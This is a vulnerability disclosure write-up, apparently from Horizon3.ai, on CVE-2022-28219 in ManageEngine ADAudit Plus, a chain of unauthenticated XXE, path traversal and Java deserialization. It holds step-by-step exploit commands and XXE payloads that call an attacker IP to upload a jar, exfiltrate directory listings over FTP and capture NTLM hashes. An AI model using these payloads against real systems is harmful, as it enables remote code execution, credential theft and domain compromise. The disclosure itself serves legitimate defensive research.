# CVE-2022-28219: Unauthenticated XXE to RCE and Domain Compromise in
ManageEngine ADAudit Plus
by [Naveen Sunkavally](https://www.horizon3.ai/author/nsunkavally/ "Posts by
Naveen Sunkavally") | Jun 29, 2022 |
[Disclosures](https://www.horizon3.ai/category/disclosures/)
[CVE-2022-28219](https://www.manageengine.com/products/active-directory-
audit/cve-2022-28219.html) is an unauthenticated remote code execution
vulnerability affecting [Zoho ManageEngine ADAudit
Plus](https://www.manageengine.com/products/active-directory-audit/), a
compliance tool used by enterprises to monitor changes to Active Directory.
The vulnerability comprises several issues: untrusted Java deserialization,
path traversal, and a blind XML External Entities (XXE) injection. This is a
vulnerability that NodeZero, our autonomous pentesting product, has exploited
to not only execute code remotely, but in some cases compromise domain
administrator accounts. If you're running ADAudit Plus in your enterprise, we
strongly recommend upgrading to build 7060 or later to fix this vulnerability.
## Discovery
We regularly encounter ManageEngine products in internal pentests. The
products related to Active Directory management (ADManager Plus, ADSelfService
Plus, ADAudit Plus, etc) are especially prevalent. These applications are also
attractive to attackers because of the privileged access they have to Active
Directory. We decided to take a closer look at ADAudit Plus to see what we
could find.
### Potential RCE Vector: Return of Cewolf
Typically, in a white box source code review, we begin by understanding what
backend API endpoints are accessible to an unauthenticated attacker. For Java
web applications, the `web.xml `file is the place to start.
One of the first things that stood out, and we were surprised to see, was the
presence of a `/cewolf` endpoint handled by the `CewolfRenderer` servlet in
the third-party [Cewolf](http://cewolf.sourceforge.net/new/index.html)
charting library. This is the same vulnerable endpoint from
[CVE-2020-10189](https://srcincite.io/advisories/src-2020-0011/), reported by
[@steventseeley](https://twitter.com/steventseeley?lang=en) against
ManageEngine Desktop Central. The `FileStorage` class in this library was
abused for remote code execution via untrusted Java deserialization.
![](https://images.seebug.org/1657782667233-w331s)
Inspecting the library further, we found that, in addition to deserializing
untrusted code, the library doesn't sanitize input file paths. Using the `img`
parameter, we could deserialize a Java payload anywhere on disk.
![](https://images.seebug.org/1657782689587-w331s)
![](https://images.seebug.org/1657782711908-w331s)
Assuming there was already a file on disk containing a Java payload, we could
trigger deserialization and command execution with a request like this:
curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'
Note the servlet request path needs to end in an image file extension like
`.png` to bypass a security filter.
### Finding an XXE
We had a powerful remote code execution primitive in hand and needed to find a
way to upload a Java payload anywhere on disk. We found several ways for
unauthenticated users to upload files but initially had difficulty uploading
an arbitrary file containing a Java payload because of security filters and
file type checks.
One of the features of ADAudit Plus is the ability to collect security events
from agents running on other machines in the domain. To our surprise, we found
that a few of the endpoints that agents use to upload events to ADAudit Plus
were unauthenticated. This gave us a large attack surface to work with because
there's a lot of business logic that was written to process these events.
While looking for a file upload vector, we found a path to trigger a blind XXE
vulnerability in the `ProcessTrackingListener` class, which handles events
containing Windows scheduled task XML content. This class was using the
dangerous default version of Java's `DocumentBuilderFactory` class, which
permits external entity resolution and is vulnerable to XXE injection.
![](https://images.seebug.org/1657782715001-w331s)
We found a request of the following form could trigger the XXE:
curl -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json
Where `payload.json` looks like:
[
{
"DomainName": "<DOMAIN_NAME>",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<XXE_PAYLOAD>"
}
]
The only pre-requisite that an attacker needs to know ahead of time is the
name of the fully qualified Windows domain that the ADAudit Plus application
is monitoring. This is trivial for attackers to discover.
Blind XXE vulnerabilities in Java can be hard to exploit, but in this case we
were aided by the old Java runtime bundled with ADAudit Plus. By default
ADAudit Plus ships with Java 8u051.
With the old Java runtime, we found the blind XXE can be used to do all of the
following:
* exfiltrate files over FTP
* get directory listings over FTP
* upload files!!
In the wild we've found that about 3/4 of the vulnerable ADAudit Plus installs
are using the old runtime. We found Java runtime versions 8u131 and later
[have protections in
place](https://github.com/openjdk/jdk8u-dev/commit/644ddd7722bea502f029378c22d51b6eb66f8c25)
to prevent the above actions.
## Exploitation
### XXE to RCE
In a test environment, we set up ADAudit Plus on host 10.0.220.100, running
under domain user `a-jsmith`. Our attacker IP was 10.0.220.200. Upon install,
ADAudit Plus automatically detected that it was part of the `SMOKE.NET`
domain.
![](https://images.seebug.org/1657782719072-w331s)
**Step 1:** Generate a Java payload using the `CommonBeanutils1` gadget. For
instance, using [ysoserial](https://github.com/frohoff/ysoserial) to run
`calc.exe`:
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
**Step 2** : Use the XXE vulnerability to upload this payload. There is a
really nice [Java-specific XXE technique](https://2013.appsecusa.org/2013/wp-
content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf) disclosed by
Timothy Morgan in 2013 to upload a file using the jar file protocol and a
"blocking" server that doesn't close the connection after the upload. This
file is uploaded to a temp folder with a randomly generated name.
Starting the Java blocking upload server (we used the [GitHub project
here](https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java)):
java BlockingServer 9090 xxe-upload-test.jar
Then send the request to trigger the XXE and file upload:
curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_jar.json
Where `payload_jar.json` contains:
[
{
"DomainName": "smoke.net",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ]>"
}
]
The `BlockingServer` serves the file and keeps the connection open so the temp
file is not deleted.
![](https://images.seebug.org/1657782799056-w331s)
**Step 3** : Use the XXE vulnerability to locate the file path of the uploaded
payload. We used the XXE FTP server from the [GitHub project
here](https://github.com/LandGrey/xxe-ftp-server) to exfiltrate directory
listings to find the payload:
python2 xxe-ftp-server.py 10.0.220.200 3000 2122
Port 3000 hosts an external DTD, and port 2122 is the FTP Server port.
Then send the following request:
curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_list.json
Where `payload_list.json` contains:
[
{
"DomainName": "smoke.net",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n"
}
]
The XXE FTP server serves the DTD over HTTP and receives the contents of the
temp directory over FTP. In this example, it can be seen that the file was
uploaded to the path
`c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp`.
![](https://images.seebug.org/1657782800928-w331s)
**Step 4** : Use the `/cewolf` endpoint to deserialize the contents of the
uploaded file and trigger the execution of the command:
curl --path-as-is -v 'http://10.0.220.100:8081/cewolf/a.png?img=/../../../../../../../../../users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp'
![](https://images.seebug.org/1657782859012-w331s)
We automated these steps in a self-contained PoC script [on GitHub
here](https://github.com/horizon3ai/CVE-2022-28219).
### XXE to SSRF to NTLM Relay
As a side note, regardless of the Java runtime version, XXE vulnerabilities in
Java and on Windows can also be used to capture and relay the NTLM hashes of
the user account under which the application is running. This is because the
Java HTTP client will attempt to authenticate over NTLM if it connects to a
server requiring NTLM to authenticate.
This is especially useful for an attacker if the ADAudit Plus application is
running under a privileged account. As an example, we run the well-known
[responder](https://github.com/lgandx/Responder) tool on the attacker machine:
python3 /usr/share/responder/Responder.py -I ens160
Then we send a request to trigger the XXE and have the ADAudit Plus server
connect back to the attacking IP.
curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_ntlm.json
Where `payload_ntlm.json` contains:
[
{
"DomainName": "smoke.net",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://10.0.220.200\"> %xxe; ]>"
}
]
Responder captures the NTLMv2 hash of the `a-jsmith` user under whom the
ADAudit Plus application is running.
![](https://images.seebug.org/1657782876722-w331s)
These hashes can cracked by attackers to recover the plaintext password, or
they can be relayed to targets directly and used to execute code on those
targets, using well-known tools such as
[ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)
from the impacket toolkit.
## Post-Exploitation
Applications that integrate with Active Directory have to store credentials to
connect to it. In the case of ADAudit Plus, these credentials are stored
encrypted in its database. It's possible to reverse the encryption to access
these credentials in the clear.
In the wild, we've found that these credentials are often highly privileged.
ADAudit Plus makes it easy for users to get started with domain admin
credentials, and we've seen users take this easy path rather than [setting up
a dedicated service account](https://www.manageengine.com/products/active-
directory-audit/adaudit-plus-service-account-configuration.html) with
restricted privileges. When this happens, NodeZero will fully compromise the
domain through ADAudit Plus, generating an attack graph that looks like this.
![](https://images.seebug.org/1657782879168-w331s)
## Disclosure Timeline
* **March 28, 2022** : Vulnerability disclosed to Zoho via bug bounty program
* **March 28, 2022** : Vulnerability confirmed by Zoho
* **March 30, 2022** : New build ADAudit Plus 7060 released by Zoho
* **April 5, 2022** : CVE-2022-28219 published
* **April 5, 2022** : Detection and exploitation integrated into Horizon3 NodeZero pentest operations
* **June 29, 2022** : This detailed disclosure
The patch in ADAudit Plus 7060 fixes the vulnerability by:
* Removing the `/cewolf` endpoint altogether
* Using a secure version of `DocumentBuilderFactory`in the `ProcessingTrackingListener` class
* Requiring authentication in the form of an agent GUID between agents and ADAudit Plus
Thanks to Zoho for prompt handling of this vulnerability. We highly recommend
users update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus is
configured with a dedicated service account with restricted privileges.
## References
* [ManageEngine Advisory for CVE-2022-28219](https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html)
* [Github PoC for CVE-2022-28219](https://github.com/horizon3ai/CVE-2022-28219)
* [CVE-2022-28219: NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-28219)
* [Writeup on prior CVE-2020-10189 ](https://srcincite.io/advisories/src-2020-0011/)
* [ysoserial](https://github.com/frohoff/ysoserial)
* [What You Didn't Know About XXE Attacks](https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf)
* [Java Blocking Upload Server](https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java)
* [XXE FTP Exfiltration Server](https://github.com/LandGrey/xxe-ftp-server)
暂无评论